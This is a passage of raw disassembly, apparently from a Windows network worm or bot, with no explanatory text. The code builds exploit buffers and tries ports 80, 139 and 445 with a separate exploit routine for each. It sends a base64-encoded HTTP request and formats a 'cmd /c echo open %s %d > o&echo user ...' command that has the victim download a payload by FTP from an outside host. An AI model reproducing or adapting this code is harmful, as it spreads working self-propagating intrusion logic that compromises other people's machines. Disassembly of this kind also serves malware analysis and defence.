sub_40CD33+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_40CB6E mov ecx, esi call sub_40CBC3 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40CCE2 endp ; =============== S U B R O U T I N E ======================================= sub_40CD16 proc near ; CODE XREF: sub_40CD9E+F0p ; sub_40CD9E+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41B9C0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40CCE2 pop esi retn 4 sub_40CD16 endp ; =============== S U B R O U T I N E ======================================= sub_40CD33 proc near ; CODE XREF: sub_40CD7F+Bp ; sub_40CD9E+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40CCE2 retn 8 sub_40CD33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CD43 proc near ; CODE XREF: sub_40CD7F+16p ; sub_40CD9E+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40CBDC test al, al jz short loc_40CD7C push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push offset dword_42CC80 call sub_40CB6E mov ecx, esi call sub_40CBC3 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40CD7C: ; CODE XREF: sub_40CD43+Fj pop esi leave retn sub_40CD43 endp ; =============== S U B R O U T I N E ======================================= sub_40CD7F proc near ; CODE XREF: sub_40CD9E+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40CD33 test al, al jz short loc_40CD9A mov ecx, esi call sub_40CD43 loc_40CD9A: ; CODE XREF: sub_40CD7F+12j pop esi retn 8 sub_40CD7F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CD9E proc near ; CODE XREF: ___:0040D625p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40CB2A mov edi, 408h cmp [ebp+arg_8], edi jg loc_40D0F2 mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40D0F2 push esi lea ecx, [ebp+var_30] call sub_40CB2A lea ecx, [ebp+var_20] call sub_40CB2A lea ecx, [ebp+var_50] call sub_40CB2A lea ecx, [ebp+var_18] call sub_40CB2A lea ecx, [ebp+var_40] call sub_40CB2A lea ecx, [ebp+var_38] call sub_40CB2A lea ecx, [ebp+var_28] call sub_40CB2A push 4 push offset dword_432030 lea ecx, [ebp+var_30] call sub_40CCE2 push 3 push offset dword_432038 lea ecx, [ebp+var_30] call sub_40CCE2 lea ecx, [ebp+var_30] call sub_40CC68 lea ecx, [ebp+var_30] call sub_40CD43 mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_41BF70 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_40CCE2 push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40CCE2 mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_40CCE2 lea ecx, [ebp+var_20] call sub_40CC68 push offset loc_4323B4 lea ecx, [ebp+var_50] call sub_40CD16 lea ecx, [ebp+var_50] call sub_40CC68 push esi lea eax, [ebp+var_858] push 44h push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_40CB34 lea ecx, [ebp+var_58] call sub_40CC68 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40CD7F lea ecx, [ebp+var_58] call sub_40CBC3 push esi lea eax, [ebp+var_858] push 43h push eax call sub_41BF70 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40CD16 push 4 push offset dword_43203C lea ecx, [ebp+var_18] call sub_40CCE2 push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40CCE2 sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_40CCE2 lea ecx, [ebp+var_18] call sub_40CC68 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40CD33 push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40CD33 lea ecx, [ebp+var_40] call sub_40CD43 lea ecx, [ebp+var_18] call sub_40CBC3 lea ecx, [ebp+var_50] call sub_40CBC3 push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40CD33 push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40CD33 push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40CD33 lea ecx, [ebp+var_38] call sub_40CD43 lea ecx, [ebp+var_20] call sub_40CBC3 lea ecx, [ebp+var_30] call sub_40CBC3 lea ecx, [ebp+var_40] call sub_40CBC3 push esi lea eax, [ebp+var_858] push 41h push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_40CCE2 lea ecx, [ebp+var_28] call sub_40CC68 push 2 push offset dword_4323A8 lea ecx, [ebp+var_28] call sub_40CCE2 push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40CD33 lea ecx, [ebp+var_28] call sub_40CD43 lea ecx, [ebp+var_38] call sub_40CBC3 lea ecx, [ebp+var_10] call sub_40CB2A lea ecx, [ebp+var_8] call sub_40CB2A push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40CD33 lea ecx, [ebp+var_10] call sub_40CBDC lea ecx, [ebp+var_28] call sub_40CBC3 push offset dword_4323A4 lea ecx, [ebp+var_8] call sub_40CD16 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CD33 lea ecx, [ebp+var_8] call sub_40CBDC lea ecx, [ebp+var_10] call sub_40CBC3 push offset dword_4323A0 lea ecx, [ebp+var_10] call sub_40CD16 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40CD33 lea ecx, [ebp+var_10] call sub_40CBDC lea ecx, [ebp+var_8] call sub_40CBC3 push offset dword_432394 lea ecx, [ebp+var_8] call sub_40CD16 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CD33 lea ecx, [ebp+var_8] call sub_40CBDC lea ecx, [ebp+var_10] call sub_40CBC3 push (offset loc_43238F+1) lea ecx, [ebp+var_48] call sub_40CD16 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40CD33 lea ecx, [ebp+var_8] call sub_40CBC3 mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_40D100 ; --------------------------------------------------------------------------- loc_40D0F2: ; CODE XREF: sub_40CD9E+1Bj ; sub_40CD9E+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_40D100: ; CODE XREF: sub_40CD9E+352j pop edi pop ebx leave retn sub_40CD9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D104 proc near ; CODE XREF: sub_40D1C8+A1p ; sub_40D1C8+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah nop call near ptr 71AB1890h cmp eax, edi jnz short loc_40D16B lea eax, [ebp+var_10C] push eax push esi call sub_426350 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_40D16F loc_40D16B: ; CODE XREF: sub_40D104+54j xor eax, eax jmp short loc_40D17F ; --------------------------------------------------------------------------- loc_40D16F: ; CODE XREF: sub_40D104+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4CB9EC loc_40D17F: ; CODE XREF: sub_40D104+69j pop edi pop esi leave retn sub_40D104 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D183 proc near ; CODE XREF: sub_40D1C8+81p ; sub_40D1C8+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_4CB9D0 mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_4CBA24 cmp eax, 4 jz short loc_40D1AD xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D1AD: ; CODE XREF: sub_40D183+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4CBA24 sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_40D183 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D1C8 proc near ; CODE XREF: sub_40D2A2+48p ; ___:0040D716p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_41BEB5 mov esi, eax pop ecx test esi, esi jnz short loc_40D1F1 xor al, al jmp loc_40D29D ; --------------------------------------------------------------------------- loc_40D1F1: ; CODE XREF: sub_40D1C8+20j push ebx push 0 push esi call sub_41BF70 push 2Fh push offset dword_4320CC push esi call sub_41CD20 push 8 lea eax, [esi+31h] push offset dword_4320FC push eax mov [esi+2Fh], di call sub_41CD20 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_41CD20 push 6 add ebx, edi push offset dword_4CE6EC push ebx call sub_41CD20 mov ebx, [ebp+arg_0] push 85h push offset dword_432044 push ebx call sub_40D183 add esp, 48h test al, al jnz short loc_40D259 loc_40D255: ; CODE XREF: sub_40D1C8+B5j xor bl, bl jmp short loc_40D294 ; --------------------------------------------------------------------------- loc_40D259: ; CODE XREF: sub_40D1C8+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40D104 push [ebp+var_4] push esi push ebx call sub_40D183 add esp, 1Ch test al, al jz short loc_40D255 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40D104 add esp, 10h mov bl, 1 loc_40D294: ; CODE XREF: sub_40D1C8+8Fj push esi call sub_41BA91 pop ecx mov al, bl loc_40D29D: ; CODE XREF: sub_40D1C8+24j pop edi pop esi pop ebx leave retn sub_40D1C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D2A2 proc near ; CODE XREF: ___:0040D6FCp var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_432108 push [ebp+arg_0] nop call near ptr 71AB1AF4h cmp eax, 48h jnz short loc_40D2DD push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40D104 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40D2DD cmp [ebp+var_20], 82h jz short loc_40D2E1 loc_40D2DD: ; CODE XREF: sub_40D2A2+1Bj ; sub_40D2A2+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D2E1: ; CODE XREF: sub_40D2A2+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40D1C8 add esp, 0Ch leave retn sub_40D2A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D2F4 proc near ; CODE XREF: sub_40D340+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_427670 call sub_41D174 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_427668 fstp [esp+10h+var_10] call sub_41D055 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_41D174 inc eax leave retn sub_40D2F4 endp ; =============== S U B R O U T I N E ======================================= sub_40D340 proc near ; CODE XREF: sub_40D4E2+24p var_40 = qword ptr -40h mov eax, offset loc_426AA7 call sub_41D640 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_40D977 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_40D2F4 cmp [ebp-2Ch], eax pop ecx jnb short loc_40D382 push edi push eax lea ecx, [ebp-38h] call sub_40D8F2 loc_40D382: ; CODE XREF: sub_40D340+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_40D49F mov ebx, [ebp+10h] loc_40D391: ; CODE XREF: sub_40D340+156j cmp dword ptr [ebp+10h], 3 jb short loc_40D39B push 3 jmp short loc_40D3AD ; --------------------------------------------------------------------------- loc_40D39B: ; CODE XREF: sub_40D340+55j cmp dword ptr [ebp+10h], 2 jnz short loc_40D3A5 push 2 jmp short loc_40D3AD ; --------------------------------------------------------------------------- loc_40D3A5: ; CODE XREF: sub_40D340+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_40D3AE push 1 loc_40D3AD: ; CODE XREF: sub_40D340+59j ; sub_40D340+63j pop ebx loc_40D3AE: ; CODE XREF: sub_40D340+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_427680 fstp [esp+40h+var_40] call sub_41D19B pop ecx pop ecx call sub_41D174 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_40D3ED mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_40D3ED: ; CODE XREF: sub_40D340+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40D45B add [ebp-18h], eax loc_40D43F: ; CODE XREF: sub_40D340+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_432154[eax] push eax push 1 call sub_40D774 inc esi cmp esi, [ebp-1Ch] jb short loc_40D43F loc_40D45B: ; CODE XREF: sub_40D340+FAj cmp dword ptr [ebp-18h], 48h jb short loc_40D479 push dword ptr [ebp+14h] call sub_41B9C0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_40D7CD mov [ebp-18h], edi loc_40D479: ; CODE XREF: sub_40D340+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_40D493 sub esi, [ebp-1Ch] loc_40D484: ; CODE XREF: sub_40D340+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_40D774 dec esi jnz short loc_40D484 loc_40D493: ; CODE XREF: sub_40D340+13Fj cmp [ebp+10h], edi ja loc_40D391 push 1 pop ebx loc_40D49F: ; CODE XREF: sub_40D340+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_40D977 push dword_427678 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_40D824 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_40D977 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_40D340 endp ; =============== S U B R O U T I N E ======================================= sub_40D4E2 proc near ; CODE XREF: ___:0040D6DFp mov eax, offset loc_426AC4 call sub_41D640 sub esp, 10h push ebx push esi push edi push offset byte_43DB88 lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_40D340 mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_41BEB5 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40D52C xor bl, bl jmp short loc_40D570 ; --------------------------------------------------------------------------- loc_40D52C: ; CODE XREF: sub_40D4E2+44j mov ecx, [ebp-18h] mov eax, offset dword_427688 cmp ecx, ebx jnz short loc_40D53A mov ecx, eax loc_40D53A: ; CODE XREF: sub_40D4E2+54j cmp [ebp+18h], ebx jz short loc_40D542 mov eax, [ebp+18h] loc_40D542: ; CODE XREF: sub_40D4E2+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41C360 add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_4CBA24 cmp eax, esi jz short loc_40D567 xor bl, bl jmp short loc_40D569 ; --------------------------------------------------------------------------- loc_40D567: ; CODE XREF: sub_40D4E2+7Fj mov bl, 1 loc_40D569: ; CODE XREF: sub_40D4E2+83j push edi call sub_41BA91 pop ecx loc_40D570: ; CODE XREF: sub_40D4E2+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_40D977 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_40D977 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40D4E2 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 420h and byte ptr [ebp-420h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-41Fh] push 8Fh rep stosd stosw stosb lea eax, [ebp-420h] push offset sub_432300 push eax call sub_41CD20 add esp, 0Ch mov eax, offset byte_429108 push eax push eax movzx eax, word ptr dword_4CB710 push eax push dword ptr [ebp+8] call sub_40AA06 pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "... lea eax, [ebp-391h] push 400h push eax call sub_41C360 add eax, 90h push eax lea eax, [ebp-420h] push eax push 164h lea eax, [ebp-8] push offset sub_432198 push eax call sub_40CD9E xor esi, esi add esp, 30h cmp [ebp-4], esi jnz short loc_40D63B xor eax, eax jmp loc_40D767 ; --------------------------------------------------------------------------- loc_40D63B: ; CODE XREF: ___:0040D632j mov [ebp-0Ch], esi loc_40D63E: ; CODE XREF: ___:0040D73Ej test esi, esi jnz loc_40D744 push 6 push 1 push 2 nop call near ptr 71AB3C22h mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40D72C xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_4CB9D4 mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_4CBA14 mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_4CB97C cmp eax, 0FFFFFFFFh jz loc_40D721 cmp dword ptr [ebp+0A8h], 50h jnz short loc_40D6E9 mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_40D977 lea eax, [ebp+0Ch] push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_40D9B3 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D4E2 add esp, 1Ch jmp short loc_40D71E ; --------------------------------------------------------------------------- loc_40D6E9: ; CODE XREF: ___:0040D6A7j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_40D703 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D2A2 jmp short loc_40D71B ; --------------------------------------------------------------------------- loc_40D703: ; CODE XREF: ___:0040D6F3j cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_40D721 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D1C8 loc_40D71B: ; CODE XREF: ___:0040D701j add esp, 0Ch loc_40D71E: ; CODE XREF: ___:0040D6E7j movzx esi, al loc_40D721: ; CODE XREF: ___:0040D69Aj ; ___:0040D70Dj push ebx call dword_4CBA6C test esi, esi jnz short loc_40D737 loc_40D72C: ; CODE XREF: ___:0040D657j push 3E8h nop call near ptr 26A068Bh loc_40D737: ; CODE XREF: ___:0040D72Aj inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40D63E loc_40D744: ; CODE XREF: ___:0040D640j lea ecx, [ebp-8] call sub_40CBC3 test esi, esi jz short loc_40D765 mov eax, [ebp+0B0h] shl eax, 6 inc dword_431800[eax] lea eax, dword_431800[eax] loc_40D765: ; CODE XREF: ___:0040D74Ej mov eax, esi loc_40D767: ; CODE XREF: ___:0040D636j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A88 loc_40D76C: ; CODE XREF: sub_426A88+3j ; ___:00426AA1j ... push 1 call sub_40D977 retn ; END OF FUNCTION CHUNK FOR sub_426A88 ; =============== S U B R O U T I N E ======================================= sub_40D774 proc near ; CODE XREF: sub_40D340+110p ; sub_40D340+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_427678 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D78E call sub_42629A loc_40D78E: ; CODE XREF: sub_40D774+13j test ebx, ebx jbe short loc_40D7C5 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D8F2 test al, al jz short loc_40D7C5 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_41BF70 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D7C5: ; CODE XREF: sub_40D774+1Cj ; sub_40D774+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D774 endp ; =============== S U B R O U T I N E ======================================= sub_40D7CD proc near ; CODE XREF: sub_40D340+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_427678 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D7E7 call sub_42629A loc_40D7E7: ; CODE XREF: sub_40D7CD+13j test ebx, ebx jbe short loc_40D81C mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D8F2 test al, al jz short loc_40D81C mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_41CD20 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40D81C: ; CODE XREF: sub_40D7CD+1Cj ; sub_40D7CD+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D7CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D824 proc near ; CODE XREF: sub_40D340+17Cp ; sub_4261B0+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40D83C call sub_426173 loc_40D83C: ; CODE XREF: sub_40D824+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_40D84E mov esi, [ebp+arg_8] loc_40D84E: ; CODE XREF: sub_40D824+25j cmp edi, ebx jnz short loc_40D870 push dword_427678 add esi, ecx mov ecx, edi push esi call sub_40D9E8 push [ebp+arg_4] mov ecx, edi push 0 call sub_40D9E8 jmp short loc_40D8E9 ; --------------------------------------------------------------------------- loc_40D870: ; CODE XREF: sub_40D824+2Cj test esi, esi jbe short loc_40D8B3 cmp esi, eax jnz short loc_40D8B3 mov eax, [ebx+4] test eax, eax jnz short loc_40D884 mov eax, offset dword_427688 loc_40D884: ; CODE XREF: sub_40D824+59j cmp byte ptr [eax-1], 0FEh jnb short loc_40D8B3 push 1 mov ecx, edi call sub_40D977 mov eax, [ebx+4] test eax, eax jnz short loc_40D89F mov eax, offset dword_427688 loc_40D89F: ; CODE XREF: sub_40D824+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_40D8E9 ; --------------------------------------------------------------------------- loc_40D8B3: ; CODE XREF: sub_40D824+4Ej ; sub_40D824+52j ... push 1 push esi mov ecx, edi call sub_40D8F2 test al, al jz short loc_40D8E9 mov eax, [ebx+4] test eax, eax jnz short loc_40D8CD mov eax, offset dword_427688 loc_40D8CD: ; CODE XREF: sub_40D824+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_41CD20 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_40D8E9: ; CODE XREF: sub_40D824+4Aj ; sub_40D824+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40D824 endp ; =============== S U B R O U T I N E ======================================= sub_40D8F2 proc near ; CODE XREF: sub_40D340+3Dp ; sub_40D774+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_40D904 call sub_42629A loc_40D904: ; CODE XREF: sub_40D8F2+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_40D92D mov al, [ecx-1] cmp al, dl jz short loc_40D92D cmp al, 0FFh jz short loc_40D92D cmp edi, edx jnz short loc_40D968 dec al push edx mov [ecx-1], al loc_40D922: ; CODE XREF: sub_40D8F2+47j mov ecx, esi call sub_40D977 loc_40D929: ; CODE XREF: sub_40D8F2+4Bj ; sub_40D8F2+52j xor al, al jmp short loc_40D972 ; --------------------------------------------------------------------------- loc_40D92D: ; CODE XREF: sub_40D8F2+19j ; sub_40D8F2+20j ... cmp edi, edx jnz short loc_40D946 cmp [esp+8+arg_4], dl jz short loc_40D93B push 1 jmp short loc_40D922 ; --------------------------------------------------------------------------- loc_40D93B: ; CODE XREF: sub_40D8F2+43j cmp ecx, edx jz short loc_40D929 mov [esi+8], edx mov [ecx], dl jmp short loc_40D929 ; --------------------------------------------------------------------------- loc_40D946: ; CODE XREF: sub_40D8F2+3Dj cmp [esp+8+arg_4], dl jz short loc_40D963 mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_40D958 cmp eax, edi jnb short loc_40D970 loc_40D958: ; CODE XREF: sub_40D8F2+60j push 1 mov ecx, esi call sub_40D977 jmp short loc_40D968 ; --------------------------------------------------------------------------- loc_40D963: ; CODE XREF: sub_40D8F2+58j cmp [esi+0Ch], edi jnb short loc_40D970 loc_40D968: ; CODE XREF: sub_40D8F2+28j ; sub_40D8F2+6Fj push edi mov ecx, esi call sub_40DA4F loc_40D970: ; CODE XREF: sub_40D8F2+64j ; sub_40D8F2+74j mov al, 1 loc_40D972: ; CODE XREF: sub_40D8F2+39j pop edi pop esi retn 8 sub_40D8F2 endp ; =============== S U B R O U T I N E ======================================= sub_40D977 proc near ; CODE XREF: sub_40D340+1Fp ; sub_40D340+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_40D9A3 mov eax, [esi+4] test eax, eax jz short loc_40D9A3 lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_40D99C 